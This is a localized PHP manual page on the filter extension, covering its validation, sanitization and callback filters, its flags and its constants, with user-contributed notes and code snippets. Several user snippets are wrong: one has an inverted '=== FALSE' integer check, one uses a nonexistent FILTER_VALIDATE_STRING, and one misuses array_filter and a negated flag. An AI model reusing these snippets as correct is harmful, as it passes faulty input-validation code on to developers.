Note that if using FILTER_NULL_ON_FAILURE as a flag with the FILTER_VALIDATE_BOOLEAN id then NULL is no longer returned if the variable name is not set in the external variable array. It will instead return FALSE. In the description is says that when using the FILTER_NULL_ON_FAILURE flag that ' FALSE is returned only for "0", "false", "off", "no", and ""' an makes no mention of this additional state that can also return false. The behavior is mentioned on the filter_input documentation page under Return Values but that is not overly helpful if one is just looking here.

If FILTER_NULL_ON_FAILURE is not used then NULL is returned when the variable name is not set in the external variable array, TRUE is returned for "1", "true", "on" and "yes" and FALSE is returned for everything else.
Lech 05-Sep-2015 08:41
The description for FILTER_VALIDATE_URL seems incorrect/misleading. "Beware a valid URL may not specify the HTTP protocol" implies a valid URL cannot specify the HTTP protocol. I think "Beware a valid URL need not specify..." would be better.
Wrinkled Cheese 09-Jun-2015 03:33
When validating a URL, as documented, the protocol is not validated.  However, it is required to be present.

For example:

I don't expect a protocol to be present.  To validate expected input I have to add a "protocol" as a prefix, and return true or false, and further validate the input.

$r = filter_var(''this.doesnt.matter.so.why.is.it.required://'.$host, FILTER_VALIDATE_URL);
return ($r != '' && $r !== false) ? true : false;
Darth Killer 02-Jun-2015 08:54
Contrary to what documentation implies, the FILTER_NULL_ON_FAILURE seem to affect any validation filter, not just FILTER_VALIDATE_BOOLEAN. I've been using that since PHP 5.2, and as of PHP 5.6.8 it still works. I have no clue if it's a blug or if it is as intended, in which case the documentation needs to be fixed.

When the flag is used on a validation filter other than FILTER_VALIDATE_BOOLEAN, as expected the filter will return NULL instead of FALSE upon failure. This is quite useful when filtering a POST form with filter_input_array(), where you don't want to check what field is invalid and what field is missing. Just check if NULL is among the returned elements and you're done.

<?php
$definition = array(
   'login' => array(
      'filter' => FILTER_VALIDATE_STRING,
      'flags' => FILTER_NULL_ON_FAILURE
   ),
   'pwd' => FILTER_UNSAFE_RAW
);
$form_data = filter_input_array(INPUT_POST, $definition);
if(in_array(null, $form_data, true)) {
   // invalid form
} else {
   // valid form, let's proceed
}
?>

Of course, if you want more precise error messages that approach won't work. But it's still good to know, i believe.
Luuk 25-May-2015 10:23
@2:
$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}

I think next code is better:

$value = "0";
if(filter_var($value, FILTER_VALIDATE_INT) !== false)
{
  .....
Anonymous 22-May-2015 08:02
FILTER_VALIDATE_FLOAT, decimal option mean decimal notation['.', ','].
maruerru at gmail dot com 26-Mar-2015 11:09
Often I see some code like the following:
$value = "12";
if( filter_var($value, FILTER_VALIDATE_INT) )
{
    // validated as an int
}

The above works as intended, except when $value is "0". In the above case it will be interpreted as FALSE.

For the correct behavior,  you have not only to check if it is equal (==) to false, but also identic (===) to FALSE:
$value = " 0 ";
if( filter_var($value, FILTER_VALIDATE_INT)  === FALSE )
{
    // validated as an int
}

I hope, I could help.
bryanwayb at gmail dot com 22-Mar-2015 04:18
It's good to remember that using filter_var is primarily for filtering input values when doing boolean logic comparisons. Take the following:

$value = "12";
if(filter_var($value, FILTER_VALIDATE_INT))
{
    // validated as an int
}

The above works as intended, except when $value = "0". In which case filter_var returns a 0, aka false when used as a boolean.

For the correct behavior, do a zero check.

$value = " 0 ";
$filtered = filter_var($value, FILTER_VALIDATE_INT);
if($filtered || $filtered === 0)
{
    // validated as an int
}
Bastien 24-Sep-2013 08:05
Rejection of so-called partial domains because of "missing" dot is not following section 2.3.5 of RFC 5321.

It says FQDNs are permitted, and com, org, or va are (well, may be) valids FQDNs. It depends on DNS, not on syntax.

Some TDLs (although few of them) have MX RRs, the for example "abuse@va" is correct.
rowan dot collins at gmail dot com 17-Mar-2013 08:22
Regarding "partial" addresses with no . in the domain part, a comment in the source code (in ext/filter/logical_filters.c) justifies this rejection thus:

     * The regex below is based on a regex by Michael Rushton.
     * However, it is not identical.  I changed it to only consider routeable
     * addresses as valid.  Michael's regex considers a@b a valid address
     * which conflicts with section 2.3.5 of RFC 5321 which states that:
     *
     *   Only resolvable, fully-qualified domain names (FQDNs) are permitted
     *   when domain names are used in SMTP.  In other words, names that can
     *   be resolved to MX RRs or address (i.e., A or AAAA) RRs (as discussed
     *   in Section 5) are permitted, as are CNAME RRs whose targets can be
     *   resolved, in turn, to MX or address RRs.  Local nicknames or
     *   unqualified names MUST NOT be used.
boy at relaxnow dot nl 19-Oct-2012 02:06
FILTER_VALIDATE_URL does not work with URNs, examples of valid URIs according to RFC3986 and if they are accepted by FILTER_VALIDATE_URL:

[PASS] ftp://ftp.is.co.za.example.org/rfc/rfc1808.txt
[PASS] gopher://spinaltap.micro.umn.example.edu/00/Weather/California/Los%20Angeles
[PASS] http://www.math.uio.no.example.net/faq/compression-faq/part1.html
[PASS] mailto:mduerst@ifi.unizh.example.gov
[PASS] news:comp.infosystems.www.servers.unix
[PASS] telnet://melvyl.ucop.example.edu/
[PASS] http://www.ietf.org/rfc/rfc2396.txt
[PASS] ldap://[2001:db8::7]/c=GB?objectClass?one
[PASS] mailto:John.Doe@example.com
[PASS] news:comp.infosystems.www.servers.unix
[FAIL] tel:+1-816-555-1212
[PASS] telnet://192.0.2.16:80/
[FAIL] urn:oasis:names:specification:docbook:dtd:xml:4.1.2
bee kay two at em ee dot com 06-May-2012 04:45
Notably missing is a way to validate text entry as printable,
printable multiline,
or printable and safe (tag free)

FILTER_VALIDATE_TEXT, which validates no special characters
perhaps with FILTER_FLAG_ALLOW_NEWLINE
and FILTER_FLAG_NOTAG to disallow tag starters
php at sethsyberg dot com 07-Apr-2011 01:00
When validating floats, you must use the Identical/Not identical operators for proper validation of zeros:

This will not work as expected:
<?php
$x = 0;
if (!filter_var($x, FILTER_VALIDATE_FLOAT)) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>

This will work as expected:
<?php
$x = 0;
if (filter_var($x, FILTER_VALIDATE_FLOAT)!== false) {
    echo "$x is a valid float";
} else {
    echo "$x is NOT a valid float";
}
?>
php dot net at piskvor dot org 11-Feb-2011 08:57
FILTER_VALIDATE_EMAIL is discarding valid e-mail addresses containing IDN. Since there are real, live IDNs on the Internet, that means the filtered output is too strict, leading to false negatives.

Punycode-encoded IDN addresses pass the filter correctly; so before checking for validity, it is necessary to convert the e-mail address to punycode.
Clifton 05-Jan-2011 08:00
FILTER_VALIDATE_EMAIL does NOT allow incomplete e-mail addresses to be validated as mentioned by Tomas.

Using the following code:

<?php
$email = "clifton@example"; //Note the .com missing
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
bool(false)

While the following code:

<?php
$email = "clifton@example.com"; //Note the .com added
echo "PHP Version: ".phpversion().'<br>';
if(filter_var($email, FILTER_VALIDATE_EMAIL)){
    echo $email.'<br>';
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}else{
    var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));
}
?>

Returns:
PHP Version: 5.2.14 //On MY server, may be different depending on which version you have installed.
clifton@example.com
string(16) "clifton@example.com"

This feature is only available for PHP Versions (PHP 5 >= 5.2.0) according to documentation. So make sure your version is correct.

Cheers,
Clifton


清理过滤器

List of filters for sanitization
ID | Name | Flags | Description
FILTER_SANITIZE_EMAIL | "email" |  | Remove all characters except letters, digits and !#$%&'*+-=?^_`{|}~@.[].
FILTER_SANITIZE_ENCODED | "encoded" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH | URL-encode string, optionally strip or encode special characters.
FILTER_SANITIZE_MAGIC_QUOTES | "magic_quotes" |  | Apply addslashes(). (DEPRECATED as of PHP 7.3.0 and REMOVED as of PHP 8.0.0, use FILTER_SANITIZE_ADD_SLASHES instead.)
FILTER_SANITIZE_ADD_SLASHES | "add_slashes" |  | Apply addslashes(). (Available as of PHP 7.3.0)
FILTER_SANITIZE_NUMBER_FLOAT | "number_float" | FILTER_FLAG_ALLOW_FRACTION, FILTER_FLAG_ALLOW_THOUSAND, FILTER_FLAG_ALLOW_SCIENTIFIC | Remove all characters except digits, +- and optionally .,eE.
FILTER_SANITIZE_NUMBER_INT | "number_int" |  | Remove all characters except digits, plus and minus sign.
FILTER_SANITIZE_SPECIAL_CHARS | "special_chars" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_HIGH | HTML-encode '"<>& and characters with ASCII value less than 32, optionally strip or encode other special characters.
FILTER_SANITIZE_FULL_SPECIAL_CHARS | "full_special_chars" | FILTER_FLAG_NO_ENCODE_QUOTES | Equivalent to calling htmlspecialchars() with ENT_QUOTES set. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. Like htmlspecialchars(), this filter is aware of the default_charset and if a sequence of bytes is detected that makes up an invalid character in the current character set then the entire string is rejected resulting in a 0-length string. When using this filter as a default filter, see the warning below about setting the default flags to 0.
FILTER_SANITIZE_STRING | "string" | FILTER_FLAG_NO_ENCODE_QUOTES, FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Strip tags and HTML-encode double and single quotes, optionally strip or encode special characters. Encoding quotes can be disabled by setting FILTER_FLAG_NO_ENCODE_QUOTES. (Deprecated as of PHP 8.1.0, use htmlspecialchars() instead.)
FILTER_SANITIZE_STRIPPED | "stripped" |  | Alias of "string" filter. (Deprecated as of PHP 8.1.0, use htmlspecialchars() instead.)
FILTER_SANITIZE_URL | "url" |  | Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=.
FILTER_UNSAFE_RAW | "unsafe_raw" | FILTER_FLAG_STRIP_LOW, FILTER_FLAG_STRIP_HIGH, FILTER_FLAG_STRIP_BACKTICK, FILTER_FLAG_ENCODE_LOW, FILTER_FLAG_ENCODE_HIGH, FILTER_FLAG_ENCODE_AMP | Do nothing, optionally strip or encode special characters. This filter is also aliased to FILTER_DEFAULT.

Warning

When using one of these filters as a default filter either through your ini file or through your web server's configuration, the default flags is set to FILTER_FLAG_NO_ENCODE_QUOTES. You need to explicitly set filter.default_flags to 0 to have quotes encoded by default. Like this:

Example #1 Configuring the default filter to act like htmlspecialchars

filter.default = full_special_chars
filter.default_flags = 0

更新日志

版本 | 说明
8.1.0 | FILTER_SANITIZE_STRING and FILTER_SANITIZE_STRIPPED have been deprecated.
8.0.0 | FILTER_SANITIZE_MAGIC_QUOTES has been removed.
7.3.0 | FILTER_SANITIZE_ADD_SLASHES was added as a replacement for FILTER_SANITIZE_MAGIC_QUOTES
7.3.0 | FILTER_SANITIZE_MAGIC_QUOTES has been deprecated.

User Contributed Notes

finkenb2 at msu dot edu 11-Dec-2023 09:05
With the deprecation of FILTER_SANITIZE_STRING, the "use htmlspecialchars instead" is an incomplete comment.  The functionality of FILTER_SANITIZE_STRING was a combination of htmlspcialchars and (approximately) strip_tags.  For true compatibility a polyfil may be needed:

<?php
function filter_string_polyfill(string $string): string
{
    $str = preg_replace('/\x00|<[^>]*>?/', '', $string);
    return str_replace(["'", '"'], ['&#39;', '&#34;'], $str);
}

$string = "Some \"' <bizzare> string & to Sanitize < !$@%";
echo filter_var($string,FILTER_SANITIZE_STRING).PHP_EOL;
//Some &#34;&#39;  string & to Sanitize

echo htmlspecialchars($string).PHP_EOL;
//Some &quot;&#039; &lt;bizzare&gt; string &amp; to Sanitize &lt; !$@%

echo strip_tags($string).PHP_EOL;
//Some "'  string & to Sanitize < !$@%

echo htmlspecialchars(strip_tags($string,ENT_QUOTES)).PHP_EOL;
//Some &quot;&#039;  string &amp; to Sanitize &lt; !$@%

echo filter_string_polyfill($string).PHP_EOL;
//Some &#34;&#39;  string & to Sanitize
ipse at sergiosantos dot me 02-Dec-2020 04:49
Although it's specifically mentioned in the above documentation, because many seem to find this unintuitive it's worth pointing out that FILTER_SANITIZE_NUMBER_FLOAT will remove the decimal character unless you specify FILTER_FLAG_ALLOW_FRACTION:

<?php
$number_string = '12.34';

echo filter_var( $number_string, FILTER_SANITIZE_NUMBER_FLOAT ); // 1234

echo filter_var( $number_string, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_FRACTION ); // 12.34
?>
Anonymous 20-Jul-2020 05:29
<?php
 /*
     filter all ascii and save juste 0-9 a-Z and @ . _
*/

echo alphanum('abcdefghABCDEFGH0123456789/!:;@._');
// return abcdefghABCDEFGH0123456789@._

function alphanum( $string , $x=''){
        $h=strlen($string);
        for($a=0; $a<$h; $a++) {
            $i = ord($string[$a]);
            if(
                ($i==46) || // .
                ($i==64) || // @
                ($i==95) || // _
                ($i > 47 && $i < 58) || //0123456789
                ($i > 64 && $i < 91) || //ABCDEFGH..Z
                ($i > 96 && $i < 123)   //abcdefgh..z
             ) { $x .= $string[$a]; }
        }
        return $x;
    }

?>
Rodrigo Guariento 13-Feb-2020 11:55
To get ONLY numbers from a string use this code:
    echo preg_replace('/[^0-9]/', '', '123456-789');
anonymous 31-Jan-2020 12:55
In the "FILTER_SANITIZE_URL" section where it says, "Remove all characters except letters, digits and $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&=." is there a reason why there is a double backslash (\\)? Shouldn't there only be one backslash if it's saying that backslashes are allowed?
darren at daz-web dot com 12-Nov-2018 12:31
For those looking for a simple way around filtering POST forms that have textarea elements in them. If you also need tab for example you can extend quite easily.

<?php
//create an array of all relevant textareas
$textareas = array("ta1");

foreach($_POST as $k => $v)
    {
        $v = trim($v);//so we are sure it is whitespace free at both ends

        //preserve newline for textarea answers
        if(in_array($k,$textareas))$v=str_replace("\n","[NEWLINE]",$v);

        //sanitise string
        $v = filter_var($v, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW | FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_BACKTICK);

        //now replace the placeholder with the original newline
        $_POST[$k] = str_replace("[NEWLINE]","\n",$v);
    }

//simple form for testing submital

?><!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>Filter test</title>
</head>

<body>

<form action="" method="post">
    <p>
        <textarea name="ta1" cols="30" rows="10"><?php echo $_POST['ta1']; ?></textarea>
    </p>
    <p>
        <input type="text" name="txt1" size="30" value="<?php echo $_POST['txt1']; ?>" />
    </p>
    <p>
        <input type="submit" />
    </p>
    </form>

</body>

</html>
AntonioPrimera 04-Aug-2016 01:12
Please be aware that when using filter_var() with FILTER_SANITIZE_NUMBER_FLOAT and FILTER_SANITIZE_NUMBER_INT the result will be a string, even if the input value is actually a float or an int.

Use FILTER_VALIDATE_FLOAT and FILTER_VALIDATE_INT, which will convert the result to the expected type.
Willscrlt 10-Mar-2016 10:11
To include multiple flags, simply separate the flags with vertical pipe symbols.

For example, if you want to use filter_var() to sanitize $string with FILTER_SANITIZE_STRING and pass in FILTER_FLAG_STRIP_HIGH and FILTER_FLAG_STRIP_LOW, just call it like this:

$string = filter_var($string, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH | FILTER_FLAG_STRIP_LOW);

The same goes for passing a flags field in an options array in the case of using callbacks.

$var = filter_var($string, FILTER_SANITIZE_SPECIAL_CHARS,
array('flags' => FILTER_FLAG_STRIP_LOW | FILTER_FLAG_ENCODE_HIGH));

Thanks to the Brain Goo blog at popmartian.com/tipsntricks/for this info.
Anonymous 22-Oct-2015 03:56
FILTER_SANITIZE_STRING doesn't behavior the same as strip_tags function.    strip_tags allows less than symbol inferred from context, FILTER_SANITIZE_STRING strips regardless.
<?php
$smaller = "not a tag < 5";
echo strip_tags($smaller);    // -> not a tag < 5
echo filter_var ( $smaller, FILTER_SANITIZE_STRING); // -> not a tag
?>
david dot drakulovski at gmail dot com 25-Feb-2014 07:54
Here is a simpler and a better presented ASCII list for the <32 or 127> filters
(if wikipedia confused the hell out of you):

http://www.danshort.com/ASCIImap/
galvao at galvao dot eti dot br 02-Mar-2013 06:04
Just to clarify, since this may be unknown for a lot of people:

ASCII characters above 127 are known as "Extended" and they represent characters such as greek letters and accented letters in latin alphabets, used in languages such as pt_BR.

A good ASCII quick reference (aside from the already mentioned Wikipedia article) can be found at: http://www.asciicodes.com/
Anonymous 15-Feb-2013 07:42
Support for FILTER_SANITIZE_FULL_SPECIAL_CHARS was added from version 5.3.3
googlybash24 at aol dot com 19-Sep-2012 05:39
Remember to trim() the $_POST before your filters are applied:

<?php

// We trim the $_POST data before any spaces get encoded to "%20"

// Trim array values using this function "trim_value"
function trim_value(&$value)
{
    $value = trim($value);    // this removes whitespace and related characters from the beginning and end of the string
}
array_filter($_POST, 'trim_value');    // the data in $_POST is trimmed

$postfilter =    // set up the filters to be used with the trimmed post array
    array(
            'user_tasks'                        =>    array('filter' => FILTER_SANITIZE_STRING, 'flags' => !FILTER_FLAG_STRIP_LOW),    // removes tags. formatting code is encoded -- add nl2br() when displaying
            'username'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
            'mod_title'                            =>    array('filter' => FILTER_SANITIZE_ENCODED, 'flags' => FILTER_FLAG_STRIP_LOW),    // we are using this in the url
        );

$revised_post_array = filter_var_array($_POST, $postfilter);    // must be referenced via a variable which is now an array that takes the place of $_POST[]
echo (nl2br($revised_post_array['user_tasks']));    //-- use nl2br() upon output like so, for the ['user_tasks'] array value so that the newlines are formatted, since this is our HTML <textarea> field and we want to maintain newlines
?>
adellemfrank at hotmail dot com 09-Jul-2012 07:07
A good list of which ASCII characters are < 32 and > 127 can be found at: http://en.wikipedia.org/wiki/ASCII#ASCII_printable_characters
Dmitry Snytkine 11-Apr-2011 04:17
Beware that FILTER_FLAG_STRIP_LOW strips NEWLINE and TAG and CARRIAGE RETURN chars. If you have a form that accepts user input in plaintext format, all the submitted text will lose all the line breaks, making it appear all on one line. This basically renders this filter useless for parsing user-submitted text, even in plain text.
marcus at synchromedia dot co dot uk 27-Nov-2009 01:07
It's not entirely clear what the LOW and HIGH ranges are. LOW is characters below 32, HIGH is those above 127, i.e. outside the ASCII range.

<?php
$a = "\tcafé\n";
//This will remove the tab and the line break
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_LOW);
//This will remove the é.
echo filter_var($a, FILTER_SANITIZE_STRING, FILTER_FLAG_STRIP_HIGH);
?>


其它过滤器

List of miscellaneous filters
ID | Name | Options | Flags | Description
FILTER_CALLBACK | "callback" | callable function or method | All flags are ignored | Call user-defined function to filter data.

User Contributed Notes

shaman_master at list dot ru 20-Jun-2020 04:46
NOTE: dont wrap PHP function in closure as writed in "top" comment
<?php
$str = filter_input(INPUT_GET, 'str', FILTER_CALLBACK, ['options' => 'trim']);
?>
commonpike 24-Sep-2018 09:56
Some useful custom filters:

<?php

    function sanitizeOptions($array,$default) {
        return function($value = null) use ($array,$default) {
            if (in_array($value, $array)) return $value;
            return $default;
        };
    }

    function sanitizeKey($value) {
        return strtolower(preg_replace('/[^a-zA-Z0-9-_\.]/','', $value));
    }

    /*usage */

    filter_var($format, FILTER_CALLBACK, array(
           "options" => sanitizeOptions(['html','json','blob'],'json')
        ));

    filter_var($format,FILTER_CALLBACK, array(
           "options" =>  'sanitizeKey'
        ));

?>
johnk at riceball dot com 18-Feb-2018 03:12
Here's how to create callable functions with parameters.  These are functions that return closures.  When you call them, you supply the known parameters, and it returns a function that will accept the value from filter_input() or filter_input_array().

<?php

function filter_sanitize_int_range_generator($low, $high) {
        return function($value = null) use ($low, $high) {
                $v = intval($value);
                if ($v < $low) return false;
                if ($v > $high) return false;
                return $v;
        };
}

function filter_sanitize_string_in_array_generator($array) {
        return function($value = null) use ($array) {
                if (!is_string($value)) return false;
                if (in_array($value, $array)) return $value;
                return false;
        };
}

echo "TESTING RANGE\n";
$fun = filter_sanitize_int_range_generator(1,10);
var_dump($fun(5)); // 5
var_dump((filter_sanitize_int_range_generator(1,10))(0)); // false
var_dump((filter_sanitize_int_range_generator(1,10))(1)); // 1
var_dump((filter_sanitize_int_range_generator(1,10))(10)); // 10
var_dump((filter_sanitize_int_range_generator(1,10))(11)); // false
var_dump($fun()); // false

echo "TESTING IN ARRAY\n";
$fun = filter_sanitize_string_in_array_generator(['cat','dog','bird']);
var_dump($fun('cat')); // cat
var_dump($fun('dog')); // dog
var_dump($fun('bird')); // bird
var_dump($fun('fish')); // false
var_dump($fun()); // false

// use it like this
filter_input(INPUT_GET, 'month', FILTER_CALLBACK, array( "callable" => filter_sanitize_int_range_generator(1,12) ) );
Vufi 28-Jan-2016 07:50
Are you also struggling with how to send arguments into the FILTER_CALLBACK.

Lets say you like to have a collection of custom filters that you can use in filter_var, filter_var_array and so on, but you want be able to call the new filters with different arguments, as you can in filter_var.

The easiest way to do this is to make a new class with all your custom filters. Then construct the class with your arguments inside filter_var argument array and enter the method in your class you like to run after.

If you send the argument as an array it is easy to make default values. But you can pass as many arguments you want and in any type, with this solution.

Example:
<?php
/**
 * Class CustomFilters
 * Custom filters for filter_var, filter_var_array, filter_input, filter_input_array
 */
class CustomFilters {
    private $options = array();

    public function __construct(array $options=array()){
        $this->options = $options;
    }

    /**
     * Returns the default options merged with the construction options
     * @param array $defaults
     * @return array
     */
    private function get_options(array $defaults){
        return array_merge($defaults, $this->options);
    }

    /**
     * Checks if a value is in a range
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_STEP_RANGE($val){
        $options = $this->get_options(
            // default options
            array(
                "min_range" => 1,
                "max_range" => 10,
                "step"      => 1,
                "default"   => null,    // Value to return on fail
                "strict"    => false,   // Check value for correct type
                "cast"      => false    // Cast the value in a certain type
            )
        );

        if(in_array( $val, range($options["min_range"], $options["max_range"], $options["step"]), $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])) {
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }

    /**
     * Checks if a value is in array
     * @param mixed $val Value provided by filter_var
     * @return mixed
     */
    public function FILTER_ENUM($val){
        $options = $this->get_options(
        // default options
            array(
                "values"  => array(),
                "strict"    => false, // Value to return on fail
                "default"   => null,  // Check value for correct type
                "cast"      => false  // Cast the value in a certain type
            )
        );

        if(in_array($val, $options["values"], $options["strict"])){

            // Return default if the value cant be cast as the right type
            if( $options["cast"] && !settype($val, $options["cast"])){
                return $options["default"];
            }

            return $val;
        }else{
            return $options["default"];
        }
    }
}

$data = array(
    "range1" => "200",
    "range2" => 25,
    "enum" => "yes"
);

$args = array(
    "range1" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 10, "max_range" => 600, "step" => 10, "default" => 120,
                "cast" => "integer")),
            'FILTER_STEP_RANGE'
            )
        ),

    "range2" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "min_range" => 0, "max_range" => 1, "step" => .1, "default" => .5,
                "cast" => "float")),
            'FILTER_STEP_RANGE'
        )
    ),
    "enum" => array(
        "filter" => FILTER_CALLBACK,
        "options" => array(
            new CustomFilters(array( "values" => array("yes", "no", "Yes","No"), "cast" => "string")),
            'FILTER_ENUM'
        )
    )
);

var_dump( filter_var_array($data, $args) );
?>

Returns:
array(3) {
  ["range1"] => int(200)
  ["range2"] => float(0.5)
  ["enum"] => string(3) "yes"
}
christof at himalayasystemsNOSPAM dot be 11-Aug-2015 10:47
The supplied callback function may also be a class method. (since 5.4.0 ?)
To use a method you need to set the options param to an array with two values: the first is the object and the second is the method name.

<?php
/**
 * @property-read $language
 */
class GetInputStore {
    private $allowed_languages = array('en', 'fr', 'de', 'nl' /*, ... */);
    private $language;

    public function __construct(){
        $this->language = filter_input(INPUT_GET, 'language', FILTER_CALLBACK, array('options' => array($this, 'get_language_code')));
    }

    public function __get($name){
         switch($name){
             case 'language' : return $this->language;
             default : throw new Exception("The GetInputStore class doesn't support GET param \"$name\"");
         }
    }

    private function get_language_code($code){
        if(in_array($code, $this->allowed_languages)){
            return $code;
        } else {
            return 'en';
        }
    }
}
?>
thatindividual dot zhang at gmail dot com 23-Sep-2014 07:05
Here is an example, since I cannot find one through out php.net"

<?php

/**
 * Strip whitespace (or other non-printable characters) from the beginning and end of a string
 * @param string $value
 */
function trimString($value)
{
    return trim($value);
}

$loginname = filter_input(INPUT_POST, 'loginname', FILTER_CALLBACK, array('options' => 'trimString'));


过滤器 flag

List of filter flags
ID | Used with | Description
FILTER_FLAG_STRIP_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that have a numerical value <32.
FILTER_FLAG_STRIP_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips characters that have a numerical value >127.
FILTER_FLAG_STRIP_BACKTICK | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Strips backtick characters.
FILTER_FLAG_ALLOW_FRACTION | FILTER_SANITIZE_NUMBER_FLOAT | Allows a period (.) as a fractional separator in numbers.
FILTER_FLAG_ALLOW_THOUSAND | FILTER_SANITIZE_NUMBER_FLOAT, FILTER_VALIDATE_FLOAT | Allows a comma (,) as a thousands separator in numbers.
FILTER_FLAG_ALLOW_SCIENTIFIC | FILTER_SANITIZE_NUMBER_FLOAT | Allows an e or E for scientific notation in numbers.
FILTER_FLAG_NO_ENCODE_QUOTES | FILTER_SANITIZE_STRING | If this flag is present, single (') and double (") quotes will not be encoded.
FILTER_FLAG_ENCODE_LOW | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Encodes all characters with a numerical value <32.
FILTER_FLAG_ENCODE_HIGH | FILTER_SANITIZE_ENCODED, FILTER_SANITIZE_SPECIAL_CHARS, FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Encodes all characters with a numerical value >127.
FILTER_FLAG_ENCODE_AMP | FILTER_SANITIZE_STRING, FILTER_UNSAFE_RAW | Encodes ampersands (&).
FILTER_NULL_ON_FAILURE | any FILTER_VALIDATE_* | Returns null for unrecognized values.
FILTER_FLAG_ALLOW_OCTAL | FILTER_VALIDATE_INT | Regards inputs starting with a zero (0) as octal numbers. This only allows the succeeding digits to be 0-7.
FILTER_FLAG_ALLOW_HEX | FILTER_VALIDATE_INT | Regards inputs starting with 0x or 0X as hexadecimal numbers. This only allows succeeding characters to be a-fA-F0-9.
FILTER_FLAG_EMAIL_UNICODE | FILTER_VALIDATE_EMAIL | Allows the local part of the email address to contain Unicode characters.
FILTER_FLAG_IPV4 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv4 format.
FILTER_FLAG_IPV6 | FILTER_VALIDATE_IP | Allows the IP address to be in IPv6 format.
FILTER_FLAG_NO_PRIV_RANGE | FILTER_VALIDATE_IP | Fails validation for the following private IPv4 ranges: 10.0.0.0/8, 172.16.0.0/12 and 192.168.0.0/16. Fails validation for the IPv6 addresses starting with FD or FC.
FILTER_FLAG_NO_RES_RANGE | FILTER_VALIDATE_IP | Fails validation for the following reserved IPv4 ranges: 0.0.0.0/8, 169.254.0.0/16, 127.0.0.0/8 and 240.0.0.0/4. Fails validation for the following reserved IPv6 ranges: ::1/128, ::/128, ::ffff:0:0/96 and fe80::/10. These are the ranges that are marked as Reserved-By-Protocol in » RFC 6890.
FILTER_FLAG_GLOBAL_RANGE | FILTER_VALIDATE_IP | Fails validation for non global IPv4/IPv6 ranges as found in » RFC 6890 with the Global attribute being False.
FILTER_FLAG_SCHEME_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a scheme part.
FILTER_FLAG_HOST_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a host part.
FILTER_FLAG_PATH_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a path part.
FILTER_FLAG_QUERY_REQUIRED | FILTER_VALIDATE_URL | Requires the URL to contain a query string.
FILTER_REQUIRE_SCALAR |  | Requires the value to be scalar.
FILTER_REQUIRE_ARRAY |  | Requires the value to be an array. Filter given will be applied to each scalar entry of the array.
FILTER_FORCE_ARRAY |  | If the value is a scalar, it is treated as array with the scalar value as only element.

更新日志

版本 | 说明
8.2.0 | FILTER_FLAG_GLOBAL_RANGE as a flag to FILTER_VALIDATE_IP has been added.
7.3.0 | The explicit usage of FILTER_FLAG_SCHEME_REQUIRED and FILTER_FLAG_HOST_REQUIRED has been deprecated.
7.1.0 | FILTER_FLAG_EMAIL_UNICODE has been added.

User Contributed Notes

sergey dot karavay at gmail dot com 24-Mar-2021 12:54
FILTER_NULL_ON_FAILURE works not only with FILTER_VALIDATE_BOOLEAN, but also with FILTER_VALIDATE_INT, FILTER_VALIDATE_FLOAT
shaman_master at list dot ru 18-Jun-2020 04:01
Missing constant of default flag: FILTER_FLAG_NONE


预定义常量

下列常量由此扩展定义，且仅在此扩展编译入 PHP 或在运行时动态载入时可用。

INPUT_POST (int)
POST 变量。
INPUT_GET (int)
GET 变量。
INPUT_COOKIE (int)
COOKIE 变量。
INPUT_ENV (int)
ENV 变量。
INPUT_SERVER (int)
SERVER 变量。
INPUT_SESSION (int)
SESSION 变量。 (暂未实现)
INPUT_REQUEST (int)
REQUEST 变量。 (暂未实现)
